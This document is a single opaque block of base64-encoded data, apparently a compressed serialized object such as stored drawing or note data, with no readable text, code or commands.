1v1amcuPmDm5f5cdTAwMTL5XHUwMDBm68V86+NcdTAwMGLteqlkV+1FmE1cdTAwMWXG7Kf8aORuv16td/Kt3Mpkf011XHUwMDBmnI1cXD2IXHUwMDA0YYYo1rbT1U3s2Ym9VZq3r2zYXHUwMDFmXGZcbunn0UXx6aFcdTAwMWJxYEGVXHUwMDE3c1x1MDAxYfdiRIFcdTAwMDVWlGKOcURNzpvb02b5tjjEN+piJG5ztH99V/9cdTAwMDZcdTAwMTZBXHUwMDAxi5CWN6Rh8UOnKIpcdTAwMGavhUb58Vx1MDAxNFx1MDAxZCduT9D4aq9V2ISDnFx1MDAxZuSAOIhSV1x1MDAxM04gKlx1MDAxOVwiW1x1MDAxY5F6b1NkcVx1MDAxMPVcdTAwMTa1Pr17n4SDtORcdTAwMDJsa3E48XpcdTAwMDBcdTAwMThUzlx1MDAwZobj8mB4IFx1MDAxY7RcdTAwMDFArOKgj9nuXHUwMDBmhJh2XHUwMDBmq5NcdTAwMWEpQYE2ffPn+9tlazaJo0lcdTAwMGY1Y1wi+XLzcjyTu1x1MDAwMKHP406GMYBcdTAwMTCpqeDzV8WX2dPEXHUwMDE1gKlcIiTlQmpmXHUwMDBmXHUwMDFh2P4oNWAopCkmXFyC0Vx1MDAxMkkk9FhcdTAwMWFeXGLSnd70aa/+8DaoX15cctU3XHUwMDEyXG5cblx0hbS8X2tYfdNcdTAwMTncXHUwMDE2+o/907ebVK1500mfdYuhXHUwMDAyLOdcdTAwMDc5IMDizCNcdTAwMTiGaVx1MDAwMVx1MDAwMFx1MDAwYvk3Zb33KaJcYoth4SnDNWaW9CXDQ8FYxCn6WXOq5Fx1MDAwMc+JXHUwMDBl4WtcdTAwMWFcZuvdkiOwsoWBXHUwMDA3XG6sNlx1MDAwMJI1XHUwMDA3049cdTAwMTnuXHUwMDBlpzjCbswoJOFcXCn/x1VvV7Fav/VA05fJXG7jnbvXYWVcdTAwMTiLNpjS3JxHMTDs8Px1xdTRXGJZ1PhYXHUwMDE5sCHiypVccv1AKUJUoexwdLtcdTAwMWKUkkgzmDM/nPPXS83VrnLi+PjhWlx1MDAxNFxump89ptl5vdb8hlJBQamQljekYVx1MDAxZvStVlTlXHUwMDFhzZfLflWN46O3cSOIMOA6irVl7fm+cX+VfVx1MDAxN62YKNdaXHUwMDAxjJtDRVnNo35cdTAwMWE/XGbv84k4SuC3Tlx1MDAwMOPOzmfNaY7G6tPS8SnNPqJp9+YygHEvejSNxqiXbJ/eXlxmxmM8fMzul/uzXHRTOlx1MDAxM8ohMSX1SLab345y/1x1MDAwMdbefFx1MDAxMFFMXHTA2VuVcUv5UWWf5LXjJqHOeFx1MDAxN/8kQJlodbtHmfKgdvRPJ19dWr5PcNptwGer2HIx2Vx1MDAxZlPdiTFcdHZccpalTFx1MDAxMqX0XHUwMDE2tl7p8bWp758v4iedi+dMNf/+ftq+jzbAJCZcdTAwMDbPIzqQXHUwMDEzXHUwMDFkXFxcdTAwMWO5XHUwMDFiwiQ29vtgSVvCyUcwoFJCwFx1MDAwYlxyjSdDyXJw5EnllydcdTAwMGLdbrPeqXRjlT58sdwpXHL+6XTy7TJcYrhi2ZE/xa78Oez23Jhz6TlWOdF7irvxJfeI9uGUKKH9e9FcdTAwMDfvJ9XRuEbPXG7ppFx1MDAxOOZcdTAwMDGLXHUwMDE1T4dR50ssLe3Ol1x1MDAxMpHgQthd+ZI6XHUwMDA0ra/zJWHMxFx1MDAwZoeYeb5Pkt+BYnRcdTAwMDNierNd0eZ5p1x1MDAxOXqy/I9VduB5qt2Dk2GhucTbZCF6pypElempxaUmXGYoSyMqVpWxJJY0XHUwMDE310hTtV+kvqu7R1xui2vNNFx1MDAxN1x1MDAxY1x1MDAxOFvJdVx1MDAxMYAsmCHIJS2RYFx1MDAxMittS/z6KVx1MDAxM1x1MDAxOFx1MDAxNYxRXHUwMDE1ovsnXFxVPVx1MDAxOOb7w5N6p1TvVFc/XHUwMDAzal98spA4v1xusqR8JE7NJUBxNPixmJRcdTAwMGJcboJcdTAwMWN2XHI2RWBq+1Y13zPzJlx1MDAxNidcdTAwMTKWXHUwMDE0a9BcdTAwMGKCXGL+81x1MDAxYv9dPER+MDztttv1ITzqTbfeXHUwMDE5Oj7SsWG+Wjm/xt/wUPbPVrm0Z0ZcXN67xb+OXHUwMDE2dDz/5ePf//cvx2/HXFxpbP6pXHUwMDAzeS1G/Mv+c2tcdTAwMTHDJFt9d5H/oDXnmPhcdTAwMGZcIvbWLFGVMCBCuElnllJcdTAwMGK79fNcdTAwMDNWUFx1MDAwZZTGQLiYY1x1MDAxZrkyr3BcdTAwMDRcZnHwJyNLXHUwMDEzXG5izkR2XHUwMDBiYSo/rFxuXHUwMDE4KYSmSKPfRMC4iVx1MDAxMW/ouiRGYDFMKi2QMCVUaEVs3/ohRrhFXHUwMDEwXHUwMDAyk1x1MDAwZUtcdTAwMDJrqyVbk1wivkSbd1x1MDAxYdzynIg22kzARlL4N1x1MDAxM2xtUlx1MDAxOFvyY1ZcdTAwMDJcdTAwMDPd/V6yjdClv18j7C1F24bUX3dcdTAwMDQlsSCAKbZcYj7qkXJcdTAwMWZPcq99epZKX1x1MDAwYplcdTAwMWK8VnW0o7CxQJ7JjtzkQpKAwrBXPZH7XHUwMDFkmFx1MDAwMcdcdTAwMDLFYFx1MDAxYc1cdTAwMDOz91ns8nh6cYJbp6ei8Zg+viuis+hcdTAwMWWYPZxeM5VcdTAwMTk+t3msN72NMfJeq/gsXHUwMDBi5jlu9ub8lpL35PNFPJHJXo/qd/XOXVx1MDAwMONcdTAwMDa+vJtOSJxvuFx1MDAxOHaNnkJP71wi7sjMlLgwsSb+jT/v9YzoXHRcdFxiL+0pvFx1MDAxOFx1MDAwNu1cdTAwMTGM8Np0RLJRgK3H4FxiUHmKSlx1MDAxOZ53NoInJr1+tzQqXHUwMDBle/mqs18mrDicXHK6edVbY5/mXHUwMDFl8EK5XHUwMDFlloB5Soi04buNLJpuntyVupXabSV13VXl6vnlw8StYmhU0Fx1MDAwNVvJXHUwMDFlXy2lwFRgXGZcdTAwMWE0ujB4lCBcdTAwMWHNXHUwMDFjL0FopjHl6UbjZthJ1yentfO4XHUwMDBiXGbYXHUwMDA2XYQ07FdcdTAwMDMt/dJFvl6qXHUwMDBleOn9+rGTrzynyOlzXHUwMDAw41x1MDAwNr68m0CL81xyXHUwMDBmXHRa3Fx1MDAwNVwiwZhcdTAwMGLFt8l69V7PqIJcdTAwMTbGPOtVXG4hXHUwMDAys7h2iFx1MDAxNF4vSSlcdTAwMTlAXHUwMDE0ZFx1MDAwZmn+XHUwMDAzYEqpXGbgoTVwhihq6euBQZRcclxuflx1MDAxNaL8muLu8IQyV1x1MDAxM4IzqqjiW1x1MDAxND57r5wnyplscSaOxzHdw1x1MDAxOf6YdrMgolx1MDAwMk9cdTAwMDTyhCdcdTAwMTKQQ0ThicJEKqojmoJ+diUqM/30OD7LvLaBcNJvj++x/XHE11x1MDAxYTYsXHUwMDE0XHUwMDEx0nSH53qWeX5KTpsk0c+PR3GZXHUwMDFlJUJccjp1fpBcdTAwMDOiXHUwMDEzaqusvlx1MDAxYUOjtOJqmzwm722KKjhcdTAwMTHIXHUwMDEznEhFXHUwMDBlXHROXHUwMDFj0pgw52BG6j/Kh9LPXHUwMDBm652qXHUwMDBiOFx0K4/JW72vgpNfU9xcdTAwMDOcuJdtUJgrXHUwMDEzbuzfvUmOmT4rydf8tJxcdTAwMWXn+8niXVbeRlx1MDAxY5xIY1xiePlOdFTBXHTWTCnJWIhxp/ugk8a01bwu3N+owv1VoVF9LKaafZcziW1cdTAwMTTo11x1MDAxYTasg5mQpvv56MT5QVx1MDAwZYpO0Oq7i1x1MDAwM1x1MDAxZiyRQGyL0rze+1x1MDAxNFV4XCIl9vadyGj5Tlx1MDAxOMdMMVx1MDAwMFV/XHUwMDE0PCm/18vjz/WdbFDwa/Dk51x1MDAxND1cdTAwMTnRNSjOXvJ3lVx1MDAxM8m8MjTbXCLu1tuLvVx1MDAxNSeSz+NEQaWlpVx1MDAxNlxmU61cZiktc1wi18JSiFKMsVDSvVx1MDAwZty+jKioxangkjOp4LLVXHUwMDEyWqSqXHUwMDExSyNFTUM6TFx1MDAxNF3nUlx1MDAwNfJCKIpcdTAwMGVcdTAwMTeO/ymRcd4noEeLKDRcdTAwMTNPysHURVxiXHUwMDEwnFx1MDAxMEQge7zpryg0alGQxppiLqjQZD1cYs1XaJy3z3N5UoaYTLV/hCU2zVx1MDAwN8XapLRFMGNYXGJFKJPyI1xm9otGxrlcdTAwMTK3udbIejHcX/afW0s3wdy9IJKZWMktQuK8YWZUhZsk1FwiSFxujYBcdTAwMDeFzbnwU7YpXHUwMDBiwYtcdTAwMTZKYcmxe9TvvtJNalx1MDAwYitOJUZcdTAwMDQpxJVDu1x1MDAxOFx1MDAxMMMm/0FcdTAwMTKm5vGgq8KNXGKuOWCQ8Fx1MDAxMMjXXHUwMDEybiBGwDSlhGhlsJmiNqb6JdqYJShcYjelYOtB+Fx0uZts88Yky3NcdTAwMDKkKI1cdTAwMWJLc8Wwdlxi+lx1MDAwNTtcdTAwMWOQXHUwMDA1U4IpjTGnXzvo15WwzbVK0ltcbrZcclx1MDAxMTlk9d2P9GVMwaqQW1x1MDAwNM0l7tKj9+tYb4JTeDxcIvX+NT1x8ypFxoYyx8/avVx1MDAxOCjT2p9cdPX5rX5gblxitsfmpI+SV+nrdfpcdTAwMTGuelx1MDAxZVx1MDAwYlx1MDAwNCRAt+lcdTAwMWR610s2jjmtnlx1MDAwZk6m2dfn1mum+5aPPi9cYi9eXHUwMDEwlPhzsVx1MDAxZaTRXHUwMDBmWF9S84i2r/56jX6Ua/484DxcdTAwMDRcZkH9K4a7wVls+NZEb3eZ2Fx1MDAxYj95jyWTtZdoXHUwMDFmN4Ci9WJcdTAwMDVORHDl+Fx1MDAwMz5tQExSTomOZlwiyE2l0jjNXHUwMDBlume9XFw/l22fNth54Ti6MZXvsefs6LbWTbZksXL1Uu7Oklx1MDAwM1x1MDAxMcC4/HZ0VinN1EtV3uVzuVYu/db0KVx1MDAxMDzHXHJpeUNcdTAwMWH2+Vq0XHUwMDEyiedXObrsXHUwMDBlrp/v1etbtb/XKmwsx+/4IJ8gbd3bXHUwMDEyucJcdTAwMGVcdTAwMDKQQ1xusk0rWu99iijskFx1MDAwNld4yFrG/JUqOUzaiqRcdTAwMThxMM3+qJCLQ6WtbEBcdTAwMTLhpK1Q917RXHUwMDA0cdC1xlx1MDAxYumbRes3w7uz2vVgpppjPDq91MVRXHUwMDE2R1x1MDAxYlxmcUE97Vx1MDAwMu6zcdhcdTAwMDHAXHUwMDEw0ZxLRlU0zYKpJG/t8XOx03pJXHUwMDE2s5V0LNfW9/ur1ZCG/WpcdTAwMThrNpXq9Fx1MDAwMuez5WSO3DVeLuhgelx1MDAxM8C4X2XXNmEh51x1MDAxYlx1MDAxZVx1MDAxMFx1MDAwYlH3XHUwMDFjXiHBuGdiXHUwMDBiXHUwMDBmjPdyRlx1MDAxNFxucaE8JS18XHUwMDFjlNlcdTAwMTlMMozWmmD2Z7VoPEQyzFx1MDAwNtRcdTAwMTBCMoxytUtcdTAwMTjV3JRW8s2KT+1BIVx1MDAxM384LTZPkpnk2/Esn7raqa7pZ/p/PCGPXHUwMDE0PnuEXHUwMDFkXHUwMDAw8mDMgS0pjmYuzPvd9aAx0bysX17uhzr9LtXl6/7K82tcclx1MDAxYlx1MDAxNjL5KquwsbqI41xyXHUwMDBmiUzc3eHYlGNcIpj4d9J4L2dEkYkknshEKnZIZLKeXHSjuFKMcPJnhZpcdTAwMWUgXHUwMDEzZoNyXHUwMDBmIVx1MDAxM0Z69EJQXHUwMDFhKHGbmuuoRGKjLmq+00m60UiU3u7UTcTLiCilvd0xPks7fz42Ici0R6Q8okXKrp50u69cdTAwMWFcdTAwMGY3d3ft+Kz+Osn1+0/7q8+vNWxYJ1Nfa1x1MDAxNYJHaJswj/ODXHUwMDFjXHUwMDE087hcdTAwMTeDVIrOY479u7299ymioEdp5u2O0Z92MuVcdTAwMGL0YMY1o4hcdTAwMWXO21x1MDAxZLX8mpBAz1x1MDAwNtRcdTAwMTBsfo3wKDpNhFRAgv750NvZXHUwMDFl0VxidOAxXHUwMDBiXHUwMDEz4EKsJVJcdTAwMWPjZT7kWluIf0p2XHIlinLOXHUwMDExZlRQh/jzjdk1XHUwMDFh3qNUsa/ag8ZnXHUwMDAwuvdB7dFydo1plISoXCJcdTAwMTL2WWjtXHUwMDEwglx1MDAxZUx2jbdcdTAwMTP1yCO7XHUwMDA20z8hu8aZuM1cdTAwMTVado3kXHUwMDFl7e5cdTAwMTEoVq23SK/xxq5cdTAwMTFcdTAwMTVuilx0i1xugjRcIiDf7KkpP0CG6dGKPim9hlxuwTmgXHUwMDE5MNKEdOjcsSm9Rlx1MDAwM+GAXHRcdTAwMWWi1+VrSTfYOo00IdTUIFZUyfDSa7whyZF7eo3LpH6z/Fx1MDAxYWfKNtee+TWuok1cdNc+8KbKMdDkXHUwMDE2uTXe9mhEJZvG0uKMMrBcdTAwMTS5XHUwMDA0ubBaPYmY0o6YXHUwMDAzqDNcdTAwMDF0q/NcblCwXHUwMDE5atZcdTAwMWOkK2PEeKBcdTAwMWOMKSBcdTAwMDKYXGIhgFx1MDAxZpkg61xyiVxiKD3TeiG8bJtISDbfUlx1MDAwNCBcdTAwMTIz6aBcXFx1MDAxMFxy21x1MDAwYqpcdTAwMWGvQyTMXHUwMDAx3HFmuI7ATmOkd5Nt3j7mlVlcdTAwMDEjM8xcdFx1MDAxMFxy3Fx1MDAwZjmkRVx1MDAwM5pEXGJcZidcdTAwMGVcdTAwMTY9WFxm4otcdTAwMDM3V+o211x1MDAxYV1vKd08PfHMPV5HwZRcdTAwMTTgXHUwMDAw/9gtfn+OTquxs+vLzv1dNicnJ5V6xINcdTAwMDRApViEXCLMlZy/LqzwuXzDOsAkXHUwMDEx125IOznigVx1MDAxOVx1MDAxNZCEjmZYZPfm/UH00uPU1biSnzTGt+eFu5Poxi+evd6e4lxmu1x1MDAxOHdcdTAwMGJcdTAwMTl88zTU6eQkXHUwMDFiwLjF90JCxjsnjVxcnWZVcpprnJ5cdTAwMTVcdTAwMDJcdTAwMTg3pOVccmnYy76qPT4nbrNvol1sJ47r1490v67ymzzxzlx1MDAwZrJcdTAwMTh2jfzD9sQz5m4kg9VIXHUwMDExRVt44r33KaKeeCGRl6gl2GeOSCjd353CXHUwMDBmXHUwMDEwp/qgSXhcdTAwMDfwxMOP/Fxilsm2uvt74j1cdTAwMWHMbsJcZqtu+F/z21x1MDAwM/FcYtd6XHRcdTAwMDCAJSZcdTAwMWNv4a6qJ7pdXCJaM0Finft2rDq8zqDnqENcdTAwMWVhUYaJ0FxuXiVa8cRTXHUwMDFhXFyAcsCQXHUwMDA3rFx1MDAwZoGw4Cw8XHUwMDBiblx1MDAxZszz2lx1MDAxZTXp84RcZkW/jCtcdTAwMDI/4Cd09Y15gsI8IS3vV1x1MDAxOXZcdTAwMTPkcb7hXHUwMDAxIVx1MDAwZifu4edgtlxihbfoxeC9nJFFPNhT0nJcdTAwMTEpxGNcblx1MDAxN2mBKT2ceD1MwGX5qFVv15cwzCdcdTAwMDQgbIBcdTAwMGVcdTAwMGVRl4t57lx1MDAwMX/ci5Azwlx1MDAxMCWK+I+8fL3nmXiZ9vDxdfq5x27GqcvLZtTRXHUwMDBm87RCXHUwMDAyTM9cblx1MDAxYf1wc+xBOYom+uGdK/p4NWVP+ipenOBnVG/2J9/oJyj0XHUwMDEz0vL+4cNuXHUwMDAyVc43PCSoQq5ZLIpgqeFli1hcdTAwMGLP5YwqqFx1MDAxMtpTgKtogSowWcFmpTrEWsxRXHUwMDA0VeVS/XPDOTdAkfVwTjPB3WFcdTAwMTS3VfRZLSmMqKRKKP/ZZMnbaeq4dlx1MDAxZS/mZizea5/pbn7k5s71hFGf2LdcdTAwMDAox0KCMk3mrytcdTAwMDWFlZaWVJJcdTAwMTBcckxcYojFPeLpXHUwMDA3XHUwMDAw8sZRhTIrlFxugeEoaULgODpgxruXjtOj+LHupp/7lXzt5DE/q9de1OhcdTAwMWJHXHUwMDA1haNCWt7vYeG7z6p6jLq9buF49NrmpcvaJFlcdLdcdTAwMTac84NcdTAwMWNcdTAwMTKfeWRcdTAwMTlcdTAwMTNJmdxcbqB571NEXHUwMDAxXHUwMDFhXHUwMDA2leChXHUwMDFhjOIgvlTDZyE0U1xig9iD1v9cdTAwMDSEVlx1MDAxZlxm693Sp0K0XHIwZ1x1MDAxNaL9nOFcdTAwMWVcdTAwMTjNvS4jMFwiILhtmlx1MDAwMZ8/UJW8rtfvNUo9py5j+KmLW1x1MDAxMcdolClL2fzPayBNgSWFhaRcXEjNXHUwMDA0d+VEPyAtWGdcdTAwMTdBnFx0STSPZnhcdTAwMTObXHUwMDFkp+qnt8W3tn7Oofu79PQxU/xcdTAwMDZpQYG0kJb3a1xy233sXGZfLs6n+GWaf2j2JvHceIJcdTAwMDNY3MlxKt5Kjs7vOm00nehcdTAwMWEh8bZLkNdW4yZcdTAwMWWSV8epXGbNNVx1MDAwNJm16PCpq1x1MDAxZaehoj/nhT8k+tOusSVcdTAwMDSksSliSfxHeXnTVVTRXHUwMDFm5dRL6WhELelL6YRcdTAwMDL/bEF2XHUwMDFm8I9cdTAwMDJcZlX4gMW2XHUwMDBlXHUwMDAw/1x1MDAxMq1u9yhTXHUwMDFl1I7+6eSrS+tnQ4Js+Vx1MDAwZlx1MDAwM0OCXHUwMDFiwNQqXHUwMDEyXFxM9sdUd+NN5lx1MDAxZfclhFIm+t5/Ms/F+exheDl7jbPXu0S3cspPXHUwMDFleoWo86ZcdTAwMDDWxFqDXHUwMDE5ylx1MDAxNFx1MDAwN+paTubBSmiLm57wTGCNXHUwMDExc8/m8YFcdTAwMDc9WdN+XGK9SExcXEvYMVUplVxmtdXXPiBwj7DmfTSTI+Or7Vx1MDAxOT9cdTAwMDE3XHUwMDFj56dHxW671+3MXHUwMDFm2ElcdTAwMDbYXHUwMDEyQVx1MDAwM4v6XFx6XGZ3bneYoSfru+bxXHUwMDAxa1xiV+ZHmjNOt8lz8d74SNqCilx1MDAxM1x1MDAwYmxeirhcdTAwMDDWZzazav73XHUwMDFhK0sjZvotw0pwWzGKQE1BgiyTu0m0REwoQtaFgIm/YFhxXHUwMDAxXHUwMDEyXG7Aga1cZsovmSCwoFx1MDAxYcb4zasveCuYI3suMFwiXHUwMDEyXHUwMDEzg6hMT02GxKJT75G9+lx1MDAwMoZcdTAwMDVcdTAwMTdcdTAwMDaGcsJ3TOLzXHUwMDBl1j5arr7AgKVcdTAwMDRcdTAwMDFcdTAwMTSIKILNXFzPUNZcdTAwMTZgRY5NWiZWXGJ2fW1SXyqJz5W6zbVG14vh/rL/3MnRJairo1x1MDAwYmOzXHUwMDBmXFxs0b05XHUwMDExXHUwMDE3vdLZQ4KNMnR8fPLORbvRiDq0UaaaL1x1MDAwNlx1MDAxMSaFeVXLZZ4oRsLiSDNuyF9cdTAwMTJb6ZagoY2UesndtXicXHUwMDA10GFr7i4uiKJcdTAwMTSz8I4kN1x0NS+gM5hk78jje7xRuC3cl28r953xm1xmXHUwMDFm6OzOXHUwMDEwyv10XHUwMDFlc641XHUwMDA163OLdua6X1x1MDAxMGev7efYw10lXHUwMDEzzzQvSlwiXHUwMDExbXVvXG5Ie/JcdTAwMDMz3fhcdTAwMDLih71cXL9q7TxGXCJKXHUwMDExILJohjmeJ9uMJ3jxXHUwMDEyP2KWOb15YmX6XHUwMDFk5lx1MDAxOJjnN6Tl/VrDPuhbrajKNZovl/2qXHUwMDFhx0dv40ZcdTAwMDCLm0NFWc2jflx1MDAxYT9cZu/ziThK4LdOXHUwMDAw44blqX56Lqf4XTaf0qXuRHY7o+w9XHSkxnpGkofSyX36/qYzxJPXk/ho0lx1MDAwYmDc4D3gP51NPZpGY9RLtk9vL1x1MDAwNuMxXHUwMDFlPmZ9NuJ1XHUwMDE5d5Nn3ZmwP0Gtu3nvlHtcXIWpJqdMsIFvhe7Ntlx1MDAxMUW4XHUwMDE4XHUwMDBi4qnSOfWp0kNxrNtcZoxFZ1x1MDAxOaBcdTAwMDFFXHUwMDBm2M/3wI71dt741s1s4JdBuf/ukmEkdnWxbXCzb1x1MDAwMK7ujjfbxH9Oe1x1MDAxZizuXoNYmLK8W7Eufb58TqGLlzP9OJqlTs/Lb1eXbuVcdTAwMDGjgsVcdTAwMDHPWlJxaVxuyMHrcnFASikzvlx1MDAxMqmYkFx1MDAxYfGQPG9+kPhaR24llWaKXHUwMDFmMDDKSyvqbvo61aPk5kHP9FNnfDmOse9cdTAwMTiM4Fx1MDAwMmXDWd7vYUNcdTAwMDGgXHUwMDFiXHUwMDAzZVx1MDAxZFx1MDAxZuSAgE67XHUwMDFmx1x1MDAxMkyxNk5+/2rBe5+iiuhcdTAwMTBVXoqBY3+K4ZNcdTAwMDIlTFx1MDAxN2uYXHQ9YEjegfFcXCk/qFx1MDAxNbr5vnPYbFjBXHUwMDEyXHUwMDFiII87iltMd1x1MDAwZvRmKyG8andcdTAwMTGkKZVbNOq516p6fHv/WKgqWamlROekK85cIlx1MDAwZd4o0nZcdTAwMWVlcoVJo4veOFd0XsIxkujtLvZem5TeW2ckWb3MN2qXNJ/+TnNcblxmvYW0vN/Dhjds8N7OTaDQ+UFcdTAwMGVcdFxuubuvQGtMTG1v/6DQe5+iXG5cbilmnlxuR9BcdTAwMDOiQofsKYpcdGc4zH5cdTAwMDFcdTAwMTFEhTf9brs8rJVHn5vkvlx1MDAwMUCtQkHbLD3Z0T1ujjP3uDlurFx1MDAwMYm3XGJo95ZwQeA/XHUwMDAzecvB8iMxZUslQlx1MDAxY55UKURW+JEwaVGNmeJUSsHcs1x1MDAxOalglaL0XHUwMDA2gJhcdTAwMTSUclx1MDAwMoBIWDBcdTAwMDGNXHUwMDA04VKYhV9nTYkthE14PTMtXHUwMDFmiFqLnGPAXGYm5+03L3/v7fQ+WmqiIVx1MDAwNSw3XHUwMDE1XGI2UVKtXHUwMDFjq99TRWBNXHUwMDExNVx1MDAxNdhcdTAwMDFS//zGloFz3oy7NClmmoxcdTAwMTDzP0h/sWhAYZ+Tpso0/uCgXHUwMDBlXHUwMDE1XHQkbG5VXHUwMDA2fGbknDt1m2uNrlx1MDAxN8P9Zf+5g3DT7jWZmUKGX7aoXHUwMDA06+3Ti6pwQ0DgxMSNUqlcdTAwMDRZaVxcXHUwMDA0wk1YXHUwMDE4dkRjXHUwMDAxTKDcj1x1MDAxNPdcdTAwMTFuSllKXHUwMDAwnFx1MDAwMfBnylx1MDAwZmqHqGBcdTAwMDE2uEaSMSQxMvlcdGsoRHIqwq2G/7WEm+nJJs2mUolgXVx1MDAxMGyggyRhXHUwMDE25lxcMFBqTHD41o7SzdtDtTwrWFx1MDAwZk7gXkJJXHUwMDBlXHUwMDAyXHUwMDBlr09KgchcdTAwMTWaKVxy39AmKPKry7eYK4Wba422t5RvO1SiUCDdXGLMxn9cYuT5qcStUSZ5XHUwMDFlI1x1MDAxN7P2UytbfMyQyJtSQGFcdTAwMTYobkFM0zWG1eJ5f0RMSGVcdGxa2lx1MDAxMDCosHvTyX1jgomt3blHulx1MDAxM1xiY1x1MDAwMJpChtigaFx1MDAxZo/dgaKAXHUwMDFkXHI13+lO6VGh3O9cdTAwMDBlXHUwMDBmjoqt0Vx1MDAwMKyviGQ5OU1sN1x1MDAxYyOVe7CzJlx1MDAxNJuEXHUwMDAz/z56712Opo9cdTAwMWWwu8Xd+dx0lqBMXG5NXHSAfMDU+zC6q5NeSpiDZpRqXHUwMDEw54Ck1DrLc2Ipwlx1MDAxMUVGXHIgxdU6jqGYwlx1MDAxZlx1MDAxM/KbXHUwMDFiad76ZMlcdTAwMWWSknGmNZrXtpTcZlx1MDAxYizsoV+9TLfELd6ZLkuz4Fx1MDAxYWBcdTAwMTKjplVcdTAwMGJcdTAwMTG2pln2WShcdGBcdTAwMDWZTouMaVx1MDAxYVxibDlgSzI3cjbXOiFcdTAwMDdcdTAwMDRaqHt1auBsjek2eVx1MDAxYsOTQUzX6nE94eOnx3ZOXHUwMDE24s2denN8oijjiFjcNPSkplx1MDAwZrxQq3maglmAapiCpVx1MDAwN2bwkGRKVnhhN0mGtYPscojv5FpcdTAwMDKSxNHMWVx1MDAxYd9cdTAwMGZiqnBVvT9NjNl1vTDKxFx1MDAxYlx1MDAwZlFHK/OSV7Hqj7TnwT+dTr5dXHUwMDA2VFksO2JcdTAwMTaxa8DBrpjFfXq7IVx1MDAxNyFdXHUwMDFkMFxmXHRhukD6P+3x3vCIcjtIWUG40EpcdC6wLYJkXitcdTAwMDUxYlHNmaRAc1xciNWZXHUwMDA1xO5z1SWMXVx1MDAwZUJFS+pgrGDKLPhEg1x1MDAwNFx1MDAxNlx1MDAxNCnF14RcdTAwMDHlel5/+jdcdTAwMDcu3jrlaMnVXHUwMDAxq4lATWJcdTAwMDB13JSBXocu3Fx1MDAxMrCmXHUwMDFhccxcdTAwMTWQXHUwMDBiw7vhmOTttJXOTquJyzPW029cdTAwMDXVpbrmMilGXHUwMDE5XHUwMDE1cE8sXHUwMDEwwGHl0Dfa9CpcdTAwMTeCU5hcdTAwMGVcdTAwMTBcdTAwMWXlX1x1MDAxY8i4k7e51lxie0sg41x1MDAxOTyltXvSXG6VlDC1RVr2U4ae9WKJy/R5nr1Mb6snhe7lNOLyXHJrZikquDZp8Vx1MDAxMtNlw8y0LbdMJyChMJbIfqq1i2FWLJdYKe90eIYsQ/GCKYU4ktJcdTAwMDHdXGJAXVx1MDAxOJP5V4RcdTAwMTR03TJTxkcnMd90zJ2qV2evw+eHWaZFX7q3t+Xqa+vdzouf7bxx1sI2wtJ3OXE/fn28z1/n+vGWzjzjxLvfoJVe7Kl+UXupp9FsRu5uky+FZLZcdTAwMWI+zNqdJ7Fdy65Wblfwn9ym/d8ked8+y3Zz3clFR7Ze0aiYp5FnSsUtU4CNIVx1MDAxMHtcZlh0xcSgpiooMYpLUmmPNVxmlClcdDLIh1x1MDAxOfWowZBgXHUwMDBlpz4mg1x1MDAxZFxmT1wiKEFSYbFcdTAwMDY6KFVcdTAwMTSEyMaqXHTfPFx1MDAxOXGeZNSjJyfFhCGyhVx1MDAwYjORvOtlXHUwMDE0y83IY6KRv8i0colkJeJMScDuJ6ZCJDKvWCx3NcFKMdBhXGJLpZVcdTAwMTCM7seUq6FhXHUwMDFmJ7HcXHUwMDAygGRcdTAwMGWpNDGB3Vx1MDAwZYqSUUtyQohxXHTBVNbtXHUwMDAwjpWp7bgx6viAPPnZ1M1tkXRrxcekUObW/oOoXvV7Nlk7o9eVXHUwMDE33K71hzR3flx1MDAxY3U7l2BsXHUwMDExXHUwMDBleFx1MDAxNyFuzjlXiVtbXGYpU35MUqTDKzsosKVcdTAwMTUxfUlcZoFjoZ2O5STYbVx1MDAxY+Ci6f1MOVovQEa1cXvqzVpHvbRcdTAwMDaz2uz5dFatNi6TZ2/Nzp2dwn8rXHUwMDE2mPuknKifSnfqXHUwMDA3XHUwMDAzSFx0gpR/6ueThkzjd/Qwu8lcdTAwMGUr7dvS+/l1N/LUjyywPriJYZqT3lxu+YORJFx1MDAxOOIg2jFFkodI/8RixoaRxvpcdTAwMTfIyc2L1shdzCNcdTAwMWLxxv5VhyT3T3Vccq26MlxcPlx02Emy9FmgXHUwMDFlXHUwMDEyV6pY+eu/7D/dxEC51ar3XHUwMDA2LpaX8Ii3k5KIbVx1MDAxYVx1MDAwMjckPdF3KpVv9GPtV9W4eHuCPfgkQbDgki1cdTAwMDVcdTAwMDG1XHUwMDE4kWDsKEokV2uCXHUwMDAwW0wqquaxWILs14+hkuegclx1MDAxZIJRYFxujDLFlak4R7RtzVx1MDAxN2H+7t/5XGK4w5xoXHUwMDA2XHUwMDEyK8Ji4fO1oFx1MDAxN/mDXHUwMDFhcCV/XHUwMDAyhrCBXHUwMDE0/un/uVtcdTAwMWO/z1x1MDAxZUvj25fzV5JVKvVWc2uIXHUwMDFkXHUwMDFk+ldcdTAwMDD0TJ1pgFdopTJ84ORfXHUwMDAwsFx1MDAxOVx1MDAxNvmbXCK0SiC60Vx1MDAxYvhN/b+oX7g3xuKMmewu/yhw1nqpvl22LqqjfvpdzGq1t1x1MDAxM4miTvyEWlxcM8ZNWtdq5XUgfaGFYqYrXHUwMDE2w/tVXv9cdTAwMWaGiojL0CS/Ylx1MDAxNEy5jTXZv0l/kUTl7t2SgmGFXHUwMDE19X9cdTAwMGVUeriYXHUwMDE0s3GWvWc0dkW6p6jTfTmkXHUwMDA1pDeTPsVcdTAwMTY12Vx1MDAwNVx1MDAxY4S/wmvEXHUwMDBm5j9YXHUwMDE4XHUwMDE4XHQwgSjeL4dcdTAwMWWxfL7iRPzIkohcdTAwMGLGTISWUNjB9Hf/ylx1MDAwN+lzgmG+XHUwMDFiU6j+LNp3M/1cdNauRy0muYljtFx1MDAwNd3fVPhN5STBXHUwMDFig6tJOpV70M2T3KdcdTAwMDWm7irzXHUwMDE5s5hcdTAwMTJgPWNiMsiWXHRfI2lRhiTl2vSI9jj99Fx1MDAxMd3hJvTB5Fx1MDAxMFxuOEuYwv+Ec+JQO1x1MDAwMmNLMbC+jLg3YSZkrZZcdTAwMDSWXGbMN8VcIlxy97+9XHUwMDAw+8RJIEspSahiQG1iTq7/Wv6YwFxuXHUwMDAxKStTPpspZo/5dFx1MDAxOVx1MDAxMkhPXHUwMDAy5Vx1MDAxYuzHlFx0jFx1MDAxNf9a/lx1MDAxOFEtKVVcXJjjSII3XHUwMDBlyC2OXHUwMDAwmyCAIDBFpvTSeMTCSMLdXHUwMDE4MFx1MD